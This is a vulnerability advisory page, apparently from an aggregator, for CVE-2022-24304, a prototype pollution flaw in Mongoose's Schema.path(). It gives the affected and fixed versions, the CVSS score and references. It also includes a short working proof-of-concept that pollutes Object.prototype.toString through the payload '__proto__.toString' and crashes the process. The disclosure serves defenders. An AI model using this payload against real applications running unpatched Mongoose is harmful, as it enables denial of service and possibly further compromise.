GHSA-h8hf-x3f4-xwgp json
Mongoose Vulnerable to Prototype Pollution in Schema Object
published 4y ago modified 2y ago also CVE-2022-24304
- cvss
- 9.8
- version 3.1, GitHub
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
### Description Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Prototype Pollution. The `Schema.path()` function is vulnerable to prototype pollution when setting the `schema` object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.
### Proof of Concept ```js // poc.js const mongoose = require('mongoose'); const schema = new mongoose.Schema();
malicious_payload = '__proto__.toString'
schema.path(malicious_payload, [String])
x = {} console.log(x.toString()) // crashed (Denial of service (DoS) attack) ```
### Impact This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.
Patch / fix
- npm mongoose 5.13.15, 6.4.6
Is GHSA-h8hf-x3f4-xwgp in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.
Check with FencerCVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| GitHub | 3.1 | 9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| npm | mongoose | >=6.0.0, <6.4.6 <5.13.15 |
6.4.6 5.13.15 |
Classification
- Weakness
-
- CWE-1321 Improperly Controlled Modification of Object Prototype Attributes
References
-
github.com
/Automattic/mongoose/commit/6a197316564742c0422309e1b5fecfa4faec126e
web
-
github.com
/Automattic/mongoose/commit/a45cfb6b0ce0067ae9794cfa80f7917e1fb3c6f8
web
-
nvd.nist.gov
/vuln/detail/CVE-2022-24304
advisory
-
github.com
/Automattic/mongoose/issues/12085
web
-
github.com
/Automattic/mongoose/blob/51e758541763b6f14569744ced15cc23ab8b50c6/lib/schema.js#L88-L141
web
-
huntr.dev
/bounties/055be524-9296-4b2f-b68d-6d5b810d1ddd
web
Sources
- GitHub Advisory GHSA-h8hf-x3f4-xwgp
Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.